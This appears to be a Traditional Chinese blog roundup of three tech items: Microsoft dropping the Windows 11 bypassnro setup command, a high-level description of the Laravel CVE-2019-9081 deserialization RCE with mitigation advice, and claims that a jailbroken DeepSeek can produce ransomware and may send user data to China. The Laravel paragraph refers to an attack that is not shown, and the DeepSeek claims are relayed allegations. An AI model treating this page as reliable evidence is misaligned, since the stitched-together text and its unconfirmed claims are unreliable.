微軟Windows 11取消bypassnro指令

微軟在 Widows 11 22H2版本之後, 在系統安裝好進行初始化設定時, 可以用 bypassnro指令來跳過強制網路登入微軟帳號綁定系統的步驟, 設定本機帳號即可, 不過最近傳出微軟將於 24H2版本後取消這個指令w-studio.idv.tw

1. 在初始化時, 若無網路連線則無法進行下一步

2. 此時按下 Shift + F10, 叫出命令提示字元, 輸入 oobe\bypassnro後即自動重開機

詢問估狗大神後得知這是一個 CVE-2019-9081 Laravel 反序列化漏洞攻擊, Laravel是一個開源的 PHP Web 框架, 攻擊者可能利用未受信任的反序列化觸發 __destruct(), 進而執行 Artisan指令或系統命令導致遠端代碼執行(RCE), 要防範這類攻擊則建議避免使用 unserialize() 解析外部輸入, 並檢查應用程式是否存在未受信任的反序列化點, 升級 Laravel

DeepSeek恐將用戶輸入資料傳至中國

有許多資安專家指出 DeepSeek若進行越獄(修改使用權限), 可使這款 AI模型能產生惡意輸出的內容, 例如開發勒索軟體、偽造幾可亂真的敏感資訊, 另外也有人指出 DeepSeek疑似與中國國營電信業者串連, 擅自建置能將用戶資料傳送給中國移動電信, 而可能讓中國政府直接存取相關資料, 不只可能對使用者收集帳密資料、聊天內容、上傳的檔案, 甚至還會進行即時監控特定使用者活動
